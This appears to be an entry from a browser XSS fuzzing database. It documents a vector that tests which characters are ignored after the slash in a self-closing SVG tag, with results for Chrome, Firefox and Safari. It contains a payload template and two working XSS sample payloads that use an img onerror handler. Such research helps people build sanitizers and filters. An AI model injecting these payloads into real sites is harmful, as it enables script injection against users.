Characters ignored following slash in self closing tag

Chrome logo 2
Firefox logo 2
Safari logo 2

This vector uses SVG to determine which characters are ignored following the slash. Since SVG allows a self closing tag.

Created by: hackvertor

Created on: Wednesday, July 23, 2025 at 11:29:07 AM

Updated on: Wednesday, July 23, 2025 at 11:29:07 AM


Vector type: XSS

Vector charset: UTF-8

Template used:
<svg /$[chr]><style><!--</style><img src onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<svg //><style><!--</style><img src onerror=alert(47)>
<svg />><style><!--</style><img src onerror=alert(62)>

Fuzz results

Chrome logo
Chrome 138.0.0.0 desktop macOS 10.15.7

Updated

Wed Jul 23 2025
Found 2 results
Loading...
Firefox logo
Firefox 141.0 desktop macOS 10.15

Updated

Wed Jul 23 2025
Found 2 results
Loading...
Safari logo
Safari 26.0 desktop macOS 10.15.7

Updated

Wed Jul 23 2025
Found 2 results
Loading...